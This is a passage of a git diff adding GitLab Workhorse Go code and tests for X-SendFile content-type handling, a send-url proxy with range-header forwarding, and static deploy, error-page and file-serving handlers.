+ sf.Header().Set(headers.XSendFileHeader, fixturePath)
+ sf.Header().Set(headers.ContentTypeHeader, "image/png")
+ sf.Header().Set(headers.ContentDispositionHeader, "inline")
+ sf.Header().Set(headers.GitlabWorkhorseDetectContentTypeHeader, "true")
+
+ upstreamBody := []byte(fixtureContent)
+ _, err = sf.Write(upstreamBody)
+ require.NoError(t, err)
+
+ rw.Flush()
+
+ resp := rw.Result()
+ body := resp.Body
+ data, err := ioutil.ReadAll(body)
+ require.NoError(t, err)
+ require.NoError(t, body.Close())
+
+ require.Len(t, data, 2)
+
+ require.Equal(t, "application/octet-stream", resp.Header.Get(headers.ContentTypeHeader))
+ require.Equal(t, "attachment", resp.Header.Get(headers.ContentDispositionHeader))
+}
+
+func TestSuccessInlineWhitelistedTypesFeatureEnabled(t *testing.T) {
+ fixturePath := "../../testdata/image.png"
+
+ httpHeaders := map[string]string{
+ headers.ContentDispositionHeader: "inline",
+ headers.GitlabWorkhorseDetectContentTypeHeader: "true",
+ }
+
+ resp := makeRequest(t, fixturePath, httpHeaders)
+
+ require.Equal(t, "image/png", resp.Header.Get(headers.ContentTypeHeader))
+ require.Equal(t, "inline", resp.Header.Get(headers.ContentDispositionHeader))
+}
+
+func makeRequest(t *testing.T, fixturePath string, httpHeaders map[string]string) *http.Response {
+ fixtureContent, err := ioutil.ReadFile(fixturePath)
+ require.NoError(t, err)
+
+ r, err := http.NewRequest("GET", "/foo", nil)
+ require.NoError(t, err)
+
+ rw := httptest.NewRecorder()
+ sf := &sendFileResponseWriter{rw: rw, req: r}
+
+ sf.Header().Set(headers.XSendFileHeader, fixturePath)
+ for name, value := range httpHeaders {
+ sf.Header().Set(name, value)
+ }
+
+ upstreamBody := []byte("hello")
+ n, err := sf.Write(upstreamBody)
+ require.NoError(t, err)
+ require.Equal(t, len(upstreamBody), n, "bytes written")
+
+ rw.Flush()
+
+ resp := rw.Result()
+ body := resp.Body
+ data, err := ioutil.ReadAll(body)
+ require.NoError(t, err)
+ require.NoError(t, body.Close())
+
+ require.Equal(t, fixtureContent, data)
+
+ return resp
+}
diff --git a/workhorse/internal/sendfile/testdata/sent-file.txt b/workhorse/internal/sendfile/testdata/sent-file.txt
new file mode 100644
index 00000000000..40e33f8a628
--- /dev/null
+++ b/workhorse/internal/sendfile/testdata/sent-file.txt
@@ -0,0 +1 @@
+This file is sent with X-SendFile
diff --git a/workhorse/internal/sendurl/sendurl.go b/workhorse/internal/sendurl/sendurl.go
new file mode 100644
index 00000000000..cf3d14a2bf0
--- /dev/null
+++ b/workhorse/internal/sendurl/sendurl.go
@@ -0,0 +1,167 @@
+package sendurl
+
+import (
+ "fmt"
+ "io"
+ "net"
+ "net/http"
+ "time"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+
+ "gitlab.com/gitlab-org/labkit/correlation"
+ "gitlab.com/gitlab-org/labkit/log"
+ "gitlab.com/gitlab-org/labkit/mask"
+ "gitlab.com/gitlab-org/labkit/tracing"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/senddata"
+)
+
+type entry struct{ senddata.Prefix }
+
+type entryParams struct {
+ URL string
+ AllowRedirects bool
+}
+
+var SendURL = &entry{"send-url:"}
+
+var rangeHeaderKeys = []string{
+ "If-Match",
+ "If-Unmodified-Since",
+ "If-None-Match",
+ "If-Modified-Since",
+ "If-Range",
+ "Range",
+}
+
+// Keep cache headers from the original response, not the proxied response. The
+// original response comes from the Rails application, which should be the
+// source of truth for caching.
+var preserveHeaderKeys = map[string]bool{
+ "Cache-Control": true,
+ "Expires": true,
+ "Date": true, // Support for HTTP 1.0 proxies
+ "Pragma": true, // Support for HTTP 1.0 proxies
+}
+
+// httpTransport defines a http.Transport with values
+// that are more restrictive than for http.DefaultTransport,
+// they define shorter TLS Handshake, and more aggressive connection closing
+// to prevent the connection hanging and reduce FD usage
+var httpTransport = tracing.NewRoundTripper(correlation.NewInstrumentedRoundTripper(&http.Transport{
+ Proxy: http.ProxyFromEnvironment,
+ DialContext: (&net.Dialer{
+ Timeout: 30 * time.Second,
+ KeepAlive: 10 * time.Second,
+ }).DialContext,
+ MaxIdleConns: 2,
+ IdleConnTimeout: 30 * time.Second,
+ TLSHandshakeTimeout: 10 * time.Second,
+ ExpectContinueTimeout: 10 * time.Second,
+ ResponseHeaderTimeout: 30 * time.Second,
+}))
+
+var httpClient = &http.Client{
+ Transport: httpTransport,
+}
+
+var (
+ sendURLRequests = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_send_url_requests",
+ Help: "How many send URL requests have been processed",
+ },
+ []string{"status"},
+ )
+ sendURLOpenRequests = promauto.NewGauge(
+ prometheus.GaugeOpts{
+ Name: "gitlab_workhorse_send_url_open_requests",
+ Help: "Describes how many send URL requests are open now",
+ },
+ )
+ sendURLBytes = promauto.NewCounter(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_send_url_bytes",
+ Help: "How many bytes were passed with send URL",
+ },
+ )
+
+ sendURLRequestsInvalidData = sendURLRequests.WithLabelValues("invalid-data")
+ sendURLRequestsRequestFailed = sendURLRequests.WithLabelValues("request-failed")
+ sendURLRequestsSucceeded = sendURLRequests.WithLabelValues("succeeded")
+)
+
+func (e *entry) Inject(w http.ResponseWriter, r *http.Request, sendData string) {
+ var params entryParams
+
+ sendURLOpenRequests.Inc()
+ defer sendURLOpenRequests.Dec()
+
+ if err := e.Unpack(&params, sendData); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendURL: unpack sendData: %v", err))
+ return
+ }
+
+ log.WithContextFields(r.Context(), log.Fields{
+ "url": mask.URL(params.URL),
+ "path": r.URL.Path,
+ }).Info("SendURL: sending")
+
+ if params.URL == "" {
+ sendURLRequestsInvalidData.Inc()
+ helper.Fail500(w, r, fmt.Errorf("SendURL: URL is empty"))
+ return
+ }
+
+ // create new request and copy range headers
+ newReq, err := http.NewRequest("GET", params.URL, nil)
+ if err != nil {
+ sendURLRequestsInvalidData.Inc()
+ helper.Fail500(w, r, fmt.Errorf("SendURL: NewRequest: %v", err))
+ return
+ }
+ newReq = newReq.WithContext(r.Context())
+
+ for _, header := range rangeHeaderKeys {
+ newReq.Header[header] = r.Header[header]
+ }
+
+ // execute new request
+ var resp *http.Response
+ if params.AllowRedirects {
+ resp, err = httpClient.Do(newReq)
+ } else {
+ resp, err = httpTransport.RoundTrip(newReq)
+ }
+ if err != nil {
+ sendURLRequestsRequestFailed.Inc()
+ helper.Fail500(w, r, fmt.Errorf("SendURL: Do request: %v", err))
+ return
+ }
+
+ // Prevent Go from adding a Content-Length header automatically
+ w.Header().Del("Content-Length")
+
+ // copy response headers and body, except the headers from preserveHeaderKeys
+ for key, value := range resp.Header {
+ if !preserveHeaderKeys[key] {
+ w.Header()[key] = value
+ }
+ }
+ w.WriteHeader(resp.StatusCode)
+
+ defer resp.Body.Close()
+ n, err := io.Copy(w, resp.Body)
+ sendURLBytes.Add(float64(n))
+
+ if err != nil {
+ sendURLRequestsRequestFailed.Inc()
+ helper.LogError(r, fmt.Errorf("SendURL: Copy response: %v", err))
+ return
+ }
+
+ sendURLRequestsSucceeded.Inc()
+}
diff --git a/workhorse/internal/sendurl/sendurl_test.go b/workhorse/internal/sendurl/sendurl_test.go
new file mode 100644
index 00000000000..41e1dbb8e0f
--- /dev/null
+++ b/workhorse/internal/sendurl/sendurl_test.go
@@ -0,0 +1,197 @@
+package sendurl
+
+import (
+ "encoding/base64"
+ "fmt"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "strconv"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+const testData = `123456789012345678901234567890`
+const testDataEtag = `W/"myetag"`
+
+func testEntryServer(t *testing.T, requestURL string, httpHeaders http.Header, allowRedirects bool) *httptest.ResponseRecorder {
+ requestHandler := func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "GET", r.Method)
+
+ url := r.URL.String() + "/file"
+ jsonParams := fmt.Sprintf(`{"URL":%q,"AllowRedirects":%s}`,
+ url, strconv.FormatBool(allowRedirects))
+ data := base64.URLEncoding.EncodeToString([]byte(jsonParams))
+
+ // The server returns a Content-Disposition
+ w.Header().Set("Content-Disposition", "attachment; filename=\"archive.txt\"")
+ w.Header().Set("Cache-Control", "no-cache")
+ w.Header().Set("Expires", "")
+ w.Header().Set("Date", "Wed, 21 Oct 2015 05:28:00 GMT")
+ w.Header().Set("Pragma", "no-cache")
+
+ SendURL.Inject(w, r, data)
+ }
+ serveFile := func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "GET", r.Method)
+
+ tempFile, err := ioutil.TempFile("", "download_file")
+ require.NoError(t, err)
+ require.NoError(t, os.Remove(tempFile.Name()))
+ defer tempFile.Close()
+ _, err = tempFile.Write([]byte(testData))
+ require.NoError(t, err)
+
+ w.Header().Set("Etag", testDataEtag)
+ w.Header().Set("Cache-Control", "public")
+ w.Header().Set("Expires", "Wed, 21 Oct 2015 07:28:00 GMT")
+ w.Header().Set("Date", "Wed, 21 Oct 2015 06:28:00 GMT")
+ w.Header().Set("Pragma", "")
+
+ http.ServeContent(w, r, "archive.txt", time.Now(), tempFile)
+ }
+ redirectFile := func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "GET", r.Method)
+ http.Redirect(w, r, r.URL.String()+"/download", http.StatusTemporaryRedirect)
+ }
+
+ mux := http.NewServeMux()
+ mux.HandleFunc("/get/request", requestHandler)
+ mux.HandleFunc("/get/request/file", serveFile)
+ mux.HandleFunc("/get/redirect", requestHandler)
+ mux.HandleFunc("/get/redirect/file", redirectFile)
+ mux.HandleFunc("/get/redirect/file/download", serveFile)
+ mux.HandleFunc("/get/file-not-existing", requestHandler)
+
+ server := httptest.NewServer(mux)
+ defer server.Close()
+
+ httpRequest, err := http.NewRequest("GET", server.URL+requestURL, nil)
+ require.NoError(t, err)
+ if httpHeaders != nil {
+ httpRequest.Header = httpHeaders
+ }
+
+ response := httptest.NewRecorder()
+ mux.ServeHTTP(response, httpRequest)
+ return response
+}
+
+func TestDownloadingUsingSendURL(t *testing.T) {
+ response := testEntryServer(t, "/get/request", nil, false)
+ require.Equal(t, http.StatusOK, response.Code)
+
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Type",
+ "text/plain; charset=utf-8")
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Disposition",
+ "attachment; filename=\"archive.txt\"")
+
+ testhelper.RequireResponseBody(t, response, testData)
+}
+
+func TestDownloadingAChunkOfDataWithSendURL(t *testing.T) {
+ httpHeaders := http.Header{
+ "Range": []string{
+ "bytes=1-2",
+ },
+ }
+
+ response := testEntryServer(t, "/get/request", httpHeaders, false)
+ require.Equal(t, http.StatusPartialContent, response.Code)
+
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Type",
+ "text/plain; charset=utf-8")
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Disposition",
+ "attachment; filename=\"archive.txt\"")
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Range",
+ "bytes 1-2/30")
+
+ testhelper.RequireResponseBody(t, response, "23")
+}
+
+func TestAccessingAlreadyDownloadedFileWithSendURL(t *testing.T) {
+ httpHeaders := http.Header{
+ "If-None-Match": []string{testDataEtag},
+ }
+
+ response := testEntryServer(t, "/get/request", httpHeaders, false)
+ require.Equal(t, http.StatusNotModified, response.Code)
+}
+
+func TestAccessingRedirectWithSendURL(t *testing.T) {
+ response := testEntryServer(t, "/get/redirect", nil, false)
+ require.Equal(t, http.StatusTemporaryRedirect, response.Code)
+}
+
+func TestAccessingAllowedRedirectWithSendURL(t *testing.T) {
+ response := testEntryServer(t, "/get/redirect", nil, true)
+ require.Equal(t, http.StatusOK, response.Code)
+
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Type",
+ "text/plain; charset=utf-8")
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Disposition",
+ "attachment; filename=\"archive.txt\"")
+}
+
+func TestAccessingAllowedRedirectWithChunkOfDataWithSendURL(t *testing.T) {
+ httpHeaders := http.Header{
+ "Range": []string{
+ "bytes=1-2",
+ },
+ }
+
+ response := testEntryServer(t, "/get/redirect", httpHeaders, true)
+ require.Equal(t, http.StatusPartialContent, response.Code)
+
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Type",
+ "text/plain; charset=utf-8")
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Disposition",
+ "attachment; filename=\"archive.txt\"")
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Range",
+ "bytes 1-2/30")
+
+ testhelper.RequireResponseBody(t, response, "23")
+}
+
+func TestOriginalCacheHeadersPreservedWithSendURL(t *testing.T) {
+ response := testEntryServer(t, "/get/redirect", nil, true)
+ require.Equal(t, http.StatusOK, response.Code)
+
+ testhelper.RequireResponseHeader(t, response,
+ "Cache-Control",
+ "no-cache")
+ testhelper.RequireResponseHeader(t, response,
+ "Expires",
+ "")
+ testhelper.RequireResponseHeader(t, response,
+ "Date",
+ "Wed, 21 Oct 2015 05:28:00 GMT")
+ testhelper.RequireResponseHeader(t, response,
+ "Pragma",
+ "no-cache")
+}
+
+func TestDownloadingNonExistingFileUsingSendURL(t *testing.T) {
+ response := testEntryServer(t, "/invalid/path", nil, false)
+ require.Equal(t, http.StatusNotFound, response.Code)
+}
+
+func TestDownloadingNonExistingRemoteFileWithSendURL(t *testing.T) {
+ response := testEntryServer(t, "/get/file-not-existing", nil, false)
+ require.Equal(t, http.StatusNotFound, response.Code)
+}
diff --git a/workhorse/internal/staticpages/deploy_page.go b/workhorse/internal/staticpages/deploy_page.go
new file mode 100644
index 00000000000..d08ed449ae6
--- /dev/null
+++ b/workhorse/internal/staticpages/deploy_page.go
@@ -0,0 +1,26 @@
+package staticpages
+
+import (
+ "io/ioutil"
+ "net/http"
+ "path/filepath"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+func (s *Static) DeployPage(handler http.Handler) http.Handler {
+ deployPage := filepath.Join(s.DocumentRoot, "index.html")
+
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ data, err := ioutil.ReadFile(deployPage)
+ if err != nil {
+ handler.ServeHTTP(w, r)
+ return
+ }
+
+ helper.SetNoCacheHeaders(w.Header())
+ w.Header().Set("Content-Type", "text/html; charset=utf-8")
+ w.WriteHeader(http.StatusOK)
+ w.Write(data)
+ })
+}
diff --git a/workhorse/internal/staticpages/deploy_page_test.go b/workhorse/internal/staticpages/deploy_page_test.go
new file mode 100644
index 00000000000..4b081e73a97
--- /dev/null
+++ b/workhorse/internal/staticpages/deploy_page_test.go
@@ -0,0 +1,59 @@
+package staticpages
+
+import (
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "testing"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestIfNoDeployPageExist(t *testing.T) {
+ dir, err := ioutil.TempDir("", "deploy")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(dir)
+
+ w := httptest.NewRecorder()
+
+ executed := false
+ st := &Static{dir}
+ st.DeployPage(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) {
+ executed = true
+ })).ServeHTTP(w, nil)
+ if !executed {
+ t.Error("The handler should get executed")
+ }
+}
+
+func TestIfDeployPageExist(t *testing.T) {
+ dir, err := ioutil.TempDir("", "deploy")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(dir)
+
+ deployPage := "DEPLOY"
+ ioutil.WriteFile(filepath.Join(dir, "index.html"), []byte(deployPage), 0600)
+
+ w := httptest.NewRecorder()
+
+ executed := false
+ st := &Static{dir}
+ st.DeployPage(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) {
+ executed = true
+ })).ServeHTTP(w, nil)
+ if executed {
+ t.Error("The handler should not get executed")
+ }
+ w.Flush()
+
+ require.Equal(t, 200, w.Code)
+ testhelper.RequireResponseBody(t, w, deployPage)
+}
diff --git a/workhorse/internal/staticpages/error_pages.go b/workhorse/internal/staticpages/error_pages.go
new file mode 100644
index 00000000000..3cc89d9f811
--- /dev/null
+++ b/workhorse/internal/staticpages/error_pages.go
@@ -0,0 +1,138 @@
+package staticpages
+
+import (
+ "encoding/json"
+ "fmt"
+ "io/ioutil"
+ "net/http"
+ "path/filepath"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+var (
+ staticErrorResponses = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_static_error_responses",
+ Help: "How many HTTP responses have been changed to a static error page, by HTTP status code.",
+ },
+ []string{"code"},
+ )
+)
+
+type ErrorFormat int
+
+const (
+ ErrorFormatHTML ErrorFormat = iota
+ ErrorFormatJSON
+ ErrorFormatText
+)
+
+type errorPageResponseWriter struct {
+ rw http.ResponseWriter
+ status int
+ hijacked bool
+ path string
+ format ErrorFormat
+}
+
+func (s *errorPageResponseWriter) Header() http.Header {
+ return s.rw.Header()
+}
+
+func (s *errorPageResponseWriter) Write(data []byte) (int, error) {
+ if s.status == 0 {
+ s.WriteHeader(http.StatusOK)
+ }
+ if s.hijacked {
+ return len(data), nil
+ }
+ return s.rw.Write(data)
+}
+
+func (s *errorPageResponseWriter) WriteHeader(status int) {
+ if s.status != 0 {
+ return
+ }
+
+ s.status = status
+
+ if s.status < 400 || s.status > 599 || s.rw.Header().Get("X-GitLab-Custom-Error") != "" {
+ s.rw.WriteHeader(status)
+ return
+ }
+
+ var contentType string
+ var data []byte
+ switch s.format {
+ case ErrorFormatText:
+ contentType, data = s.writeText()
+ case ErrorFormatJSON:
+ contentType, data = s.writeJSON()
+ default:
+ contentType, data = s.writeHTML()
+ }
+
+ if contentType == "" {
+ s.rw.WriteHeader(status)
+ return
+ }
+
+ s.hijacked = true
+ staticErrorResponses.WithLabelValues(fmt.Sprintf("%d", s.status)).Inc()
+
+ helper.SetNoCacheHeaders(s.rw.Header())
+ s.rw.Header().Set("Content-Type", contentType)
+ s.rw.Header().Set("Content-Length", fmt.Sprintf("%d", len(data)))
+ s.rw.Header().Del("Transfer-Encoding")
+ s.rw.WriteHeader(s.status)
+ s.rw.Write(data)
+}
+
+func (s *errorPageResponseWriter) writeHTML() (string, []byte) {
+ if s.rw.Header().Get("Content-Type") != "application/json" {
+ errorPageFile := filepath.Join(s.path, fmt.Sprintf("%d.html", s.status))
+
+ // check if custom error page exists, serve this page instead
+ if data, err := ioutil.ReadFile(errorPageFile); err == nil {
+ return "text/html; charset=utf-8", data
+ }
+ }
+
+ return "", nil
+}
+
+func (s *errorPageResponseWriter) writeJSON() (string, []byte) {
+ message, err := json.Marshal(map[string]interface{}{"error": http.StatusText(s.status), "status": s.status})
+ if err != nil {
+ return "", nil
+ }
+
+ return "application/json; charset=utf-8", append(message, "\n"...)
+}
+
+func (s *errorPageResponseWriter) writeText() (string, []byte) {
+ return "text/plain; charset=utf-8", []byte(http.StatusText(s.status) + "\n")
+}
+
+func (s *errorPageResponseWriter) flush() {
+ s.WriteHeader(http.StatusOK)
+}
+
+func (st *Static) ErrorPagesUnless(disabled bool, format ErrorFormat, handler http.Handler) http.Handler {
+ if disabled {
+ return handler
+ }
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ rw := errorPageResponseWriter{
+ rw: w,
+ path: st.DocumentRoot,
+ format: format,
+ }
+ defer rw.flush()
+ handler.ServeHTTP(&rw, r)
+ })
+}
diff --git a/workhorse/internal/staticpages/error_pages_test.go b/workhorse/internal/staticpages/error_pages_test.go
new file mode 100644
index 00000000000..05ec06cd429
--- /dev/null
+++ b/workhorse/internal/staticpages/error_pages_test.go
@@ -0,0 +1,191 @@
+package staticpages
+
+import (
+ "fmt"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+func TestIfErrorPageIsPresented(t *testing.T) {
+ dir, err := ioutil.TempDir("", "error_page")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(dir)
+
+ errorPage := "ERROR"
+ ioutil.WriteFile(filepath.Join(dir, "404.html"), []byte(errorPage), 0600)
+
+ w := httptest.NewRecorder()
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ w.WriteHeader(404)
+ upstreamBody := "Not Found"
+ n, err := fmt.Fprint(w, upstreamBody)
+ require.NoError(t, err)
+ require.Equal(t, len(upstreamBody), n, "bytes written")
+ })
+ st := &Static{dir}
+ st.ErrorPagesUnless(false, ErrorFormatHTML, h).ServeHTTP(w, nil)
+ w.Flush()
+
+ require.Equal(t, 404, w.Code)
+ testhelper.RequireResponseBody(t, w, errorPage)
+ testhelper.RequireResponseHeader(t, w, "Content-Type", "text/html; charset=utf-8")
+}
+
+func TestIfErrorPassedIfNoErrorPageIsFound(t *testing.T) {
+ dir, err := ioutil.TempDir("", "error_page")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(dir)
+
+ w := httptest.NewRecorder()
+ errorResponse := "ERROR"
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ w.WriteHeader(404)
+ fmt.Fprint(w, errorResponse)
+ })
+ st := &Static{dir}
+ st.ErrorPagesUnless(false, ErrorFormatHTML, h).ServeHTTP(w, nil)
+ w.Flush()
+
+ require.Equal(t, 404, w.Code)
+ testhelper.RequireResponseBody(t, w, errorResponse)
+}
+
+func TestIfErrorPageIsIgnoredInDevelopment(t *testing.T) {
+ dir, err := ioutil.TempDir("", "error_page")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(dir)
+
+ errorPage := "ERROR"
+ ioutil.WriteFile(filepath.Join(dir, "500.html"), []byte(errorPage), 0600)
+
+ w := httptest.NewRecorder()
+ serverError := "Interesting Server Error"
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ w.WriteHeader(500)
+ fmt.Fprint(w, serverError)
+ })
+ st := &Static{dir}
+ st.ErrorPagesUnless(true, ErrorFormatHTML, h).ServeHTTP(w, nil)
+ w.Flush()
+ require.Equal(t, 500, w.Code)
+ testhelper.RequireResponseBody(t, w, serverError)
+}
+
+func TestIfErrorPageIsIgnoredIfCustomError(t *testing.T) {
+ dir, err := ioutil.TempDir("", "error_page")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(dir)
+
+ errorPage := "ERROR"
+ ioutil.WriteFile(filepath.Join(dir, "500.html"), []byte(errorPage), 0600)
+
+ w := httptest.NewRecorder()
+ serverError := "Interesting Server Error"
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ w.Header().Add("X-GitLab-Custom-Error", "1")
+ w.WriteHeader(500)
+ fmt.Fprint(w, serverError)
+ })
+ st := &Static{dir}
+ st.ErrorPagesUnless(false, ErrorFormatHTML, h).ServeHTTP(w, nil)
+ w.Flush()
+ require.Equal(t, 500, w.Code)
+ testhelper.RequireResponseBody(t, w, serverError)
+}
+
+func TestErrorPageInterceptedByContentType(t *testing.T) {
+ testCases := []struct {
+ contentType string
+ intercepted bool
+ }{
+ {contentType: "application/json", intercepted: false},
+ {contentType: "text/plain", intercepted: true},
+ {contentType: "text/html", intercepted: true},
+ {contentType: "", intercepted: true},
+ }
+
+ for _, tc := range testCases {
+ dir, err := ioutil.TempDir("", "error_page")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(dir)
+
+ errorPage := "ERROR"
+ ioutil.WriteFile(filepath.Join(dir, "500.html"), []byte(errorPage), 0600)
+
+ w := httptest.NewRecorder()
+ serverError := "Interesting Server Error"
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ w.Header().Add("Content-Type", tc.contentType)
+ w.WriteHeader(500)
+ fmt.Fprint(w, serverError)
+ })
+ st := &Static{dir}
+ st.ErrorPagesUnless(false, ErrorFormatHTML, h).ServeHTTP(w, nil)
+ w.Flush()
+ require.Equal(t, 500, w.Code)
+
+ if tc.intercepted {
+ testhelper.RequireResponseBody(t, w, errorPage)
+ } else {
+ testhelper.RequireResponseBody(t, w, serverError)
+ }
+ }
+}
+
+func TestIfErrorPageIsPresentedJSON(t *testing.T) {
+ errorPage := "{\"error\":\"Not Found\",\"status\":404}\n"
+
+ w := httptest.NewRecorder()
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ w.WriteHeader(404)
+ upstreamBody := "This string is ignored"
+ n, err := fmt.Fprint(w, upstreamBody)
+ require.NoError(t, err)
+ require.Equal(t, len(upstreamBody), n, "bytes written")
+ })
+ st := &Static{""}
+ st.ErrorPagesUnless(false, ErrorFormatJSON, h).ServeHTTP(w, nil)
+ w.Flush()
+
+ require.Equal(t, 404, w.Code)
+ testhelper.RequireResponseBody(t, w, errorPage)
+ testhelper.RequireResponseHeader(t, w, "Content-Type", "application/json; charset=utf-8")
+}
+
+func TestIfErrorPageIsPresentedText(t *testing.T) {
+ errorPage := "Not Found\n"
+
+ w := httptest.NewRecorder()
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ w.WriteHeader(404)
+ upstreamBody := "This string is ignored"
+ n, err := fmt.Fprint(w, upstreamBody)
+ require.NoError(t, err)
+ require.Equal(t, len(upstreamBody), n, "bytes written")
+ })
+ st := &Static{""}
+ st.ErrorPagesUnless(false, ErrorFormatText, h).ServeHTTP(w, nil)
+ w.Flush()
+
+ require.Equal(t, 404, w.Code)
+ testhelper.RequireResponseBody(t, w, errorPage)
+ testhelper.RequireResponseHeader(t, w, "Content-Type", "text/plain; charset=utf-8")
+}
diff --git a/workhorse/internal/staticpages/servefile.go b/workhorse/internal/staticpages/servefile.go
new file mode 100644
index 00000000000..c98bc030bc2
--- /dev/null
+++ b/workhorse/internal/staticpages/servefile.go
@@ -0,0 +1,84 @@
+package staticpages
+
+import (
+ "net/http"
+ "os"
+ "path/filepath"
+ "strings"
+ "time"
+
+ "gitlab.com/gitlab-org/labkit/log"
+ "gitlab.com/gitlab-org/labkit/mask"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/urlprefix"
+)
+
+type CacheMode int
+
+const (
+ CacheDisabled CacheMode = iota
+ CacheExpireMax
+)
+
+// BUG/QUIRK: If a client requests 'foo%2Fbar' and 'foo/bar' exists,
+// handleServeFile will serve foo/bar instead of passing the request
+// upstream.
+func (s *Static) ServeExisting(prefix urlprefix.Prefix, cache CacheMode, notFoundHandler http.Handler) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ file := filepath.Join(s.DocumentRoot, prefix.Strip(r.URL.Path))
+
+ // The filepath.Join does Clean traversing directories up
+ if !strings.HasPrefix(file, s.DocumentRoot) {
+ helper.Fail500(w, r, &os.PathError{
+ Op: "open",
+ Path: file,
+ Err: os.ErrInvalid,
+ })
+ return
+ }
+
+ var content *os.File
+ var fi os.FileInfo
+ var err error
+
+ // Serve pre-gzipped assets
+ if acceptEncoding := r.Header.Get("Accept-Encoding"); strings.Contains(acceptEncoding, "gzip") {
+ content, fi, err = helper.OpenFile(file + ".gz")
+ if err == nil {
+ w.Header().Set("Content-Encoding", "gzip")
+ }
+ }
+
+ // If not found, open the original file
+ if content == nil || err != nil {
+ content, fi, err = helper.OpenFile(file)
+ }
+ if err != nil {
+ if notFoundHandler != nil {
+ notFoundHandler.ServeHTTP(w, r)
+ } else {
+ http.NotFound(w, r)
+ }
+ return
+ }
+ defer content.Close()
+
+ switch cache {
+ case CacheExpireMax:
+ // Cache statically served files for 1 year
+ cacheUntil := time.Now().AddDate(1, 0, 0).Format(http.TimeFormat)
+ w.Header().Set("Cache-Control", "public")
+ w.Header().Set("Expires", cacheUntil)
+ }
+
+ log.WithContextFields(r.Context(), log.Fields{
+ "file": file,
+ "encoding": w.Header().Get("Content-Encoding"),
+ "method": r.Method,
+ "uri": mask.URL(r.RequestURI),
+ }).Info("Send static file")
+
+ http.ServeContent(w, r, filepath.Base(file), fi.ModTime(), content)
+ })
+}
diff --git a/workhorse/internal/staticpages/servefile_test.go b/workhorse/internal/staticpages/servefile_test.go
new file mode 100644
index 00000000000..e136b876298
--- /dev/null
+++ b/workhorse/internal/staticpages/servefile_test.go
@@ -0,0 +1,134 @@
+package staticpages
+
+import (
+ "bytes"
+ "compress/gzip"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "testing"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestServingNonExistingFile(t *testing.T) {
+ dir := "/path/to/non/existing/directory"
+ httpRequest, _ := http.NewRequest("GET", "/file", nil)
+
+ w := httptest.NewRecorder()
+ st := &Static{dir}
+ st.ServeExisting("/", CacheDisabled, nil).ServeHTTP(w, httpRequest)
+ require.Equal(t, 404, w.Code)
+}
+
+func TestServingDirectory(t *testing.T) {
+ dir, err := ioutil.TempDir("", "deploy")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(dir)
+
+ httpRequest, _ := http.NewRequest("GET", "/file", nil)
+ w := httptest.NewRecorder()
+ st := &Static{dir}
